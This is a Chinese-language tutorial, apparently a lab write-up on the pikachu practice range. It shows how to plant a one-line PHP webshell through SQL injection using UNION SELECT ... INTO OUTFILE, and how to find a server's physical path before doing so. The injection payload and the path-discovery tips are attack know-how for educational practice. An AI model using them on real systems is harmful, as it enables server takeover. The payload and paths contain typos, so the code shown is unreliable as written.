一、引入
木馬介紹:
木馬其實就是一段程序,這個程序運行到目標主機上時,主要可以對目標進行遠程控制、盜取信息等功能,一般不會破壞目標主機,當然,這也看黑客是否想要搞破壞。
木馬類型:
按照功能分類:遠控型、破壞型、流氓軟件型、盜取信息型等等
按照連接方式分類:正向連接、反向連接、無連接等
按照功能大小分類:大馬、小馬、一句話木馬
?
不同的開發語言,都可以寫出這些木馬程序,網上也能找到很多別人寫好的木馬程序拿來使用,但是使用別人的木馬程序要小心程序中的后門,因為你的勞動成果很有可能被后門竊取了。
大致過程:
?
我們要通過sql注入點來寫入一句話木馬程序到目標服務器。?通過網址和連接密碼就可以連接上我們上傳的一句話木馬程序,通過工具(eg:菜刀,蟻劍,冰蝎,哥斯拉等)就可以控制目標主機了。
?
原理:其實就是該工具給我們上傳的相應php文件中的一句話木馬程序發送了post請求,并且攜帶了指令數據,數據格式 :jaden:系統指令,eg:jaden:dir,那么一句話木馬中 $_POST('jaden')取出dir這個字符串的值,eval這個程序就是將字符串的指令帶入到系統中當作系統指令來執行。然后將執行結果返回給了工具,工具再顯示出來。
?利用條件:
1.木馬上傳成功了(訪問創建的木馬程序時不會報錯!)
2.知道木馬的路徑在哪里
3.上傳的木馬能夠正常運行
一、SQL注入getshell前提條件
1.mysql開啟了"secure_file_priv="""的配置
?
2.知道了網站代碼的真實物理路徑
?
3.物理路徑具備寫入權限
?
4.最好是mysql的root用戶,這個條件非必需,但是有最好
如圖:開啟配置
[Jadenkal2021] [Win10_tools] [Jaden2003gongfan]
?補:
①mysql開啟"secure_file_priv=""的配置:
在my.ini文件(上篇文章已具體介紹該文件在哪個位置,在這里不再具體說明)中添加--即可開啟
?
②獲得后臺真實物理路徑的方法
1、收集站點敏感目錄,比如phpinfo.php探針文件是否可以訪問到
2、站點網址輸入一些不存在的網址或者加一些非法參數數據,讓網站報錯,看錯誤信息中是否存在路徑信息
3、指紋信息收集
nginx默認站點目錄:/usr/share/nginx/html,配置文件路徑:/etc/nginx/nginx.conf
apache默認站點目錄:/var/ww/html
4、通過站點其他漏洞來獲取配置信息、真實物理路徑信息,比如如果發現遠程命令執行漏洞(后面會講到各種其他漏洞),針對php的站點,直接執行一個phpinfo()函數,可以看到phpinfo.php所展示的各種信息等等。
5、其他思路:不斷進行嘗試。
先來測試一下在數據庫中用sql語句創建文件:
在相應目錄下打開查看是否創建成功
二、測試
在pikachu靶場(依然以字符型注入為例)進行嘗試(!!!一定要確定這里有注入點才可進行測試,否則無效)
①通過注入點(在數據庫中先進行了測試)寫入木馬程序
?union select "<?php @xx($_PosT['jaden'J);?>",2 into outfile "c:\IphpStudy\\PHPTutorial\\ww\\jaden.php"+--+
xx表示eval,因為直接寫eval,我們的這個md文檔會被殺軟殺掉的。
注入:
開始正式注入測試
在URL后面添加語句:?union select "<?php @xx($_PosT['jaden'J);?>",2 into outfile "c:\\IphpStudy\\PHPTutorial\ww\\jaden.php"+--+
文件效果:?
?只要這個'一句話木馬程序' 在用sql語句創建的文件里,不論在哪個位置,都可以利用它!
利用工具連接:
?連接成功!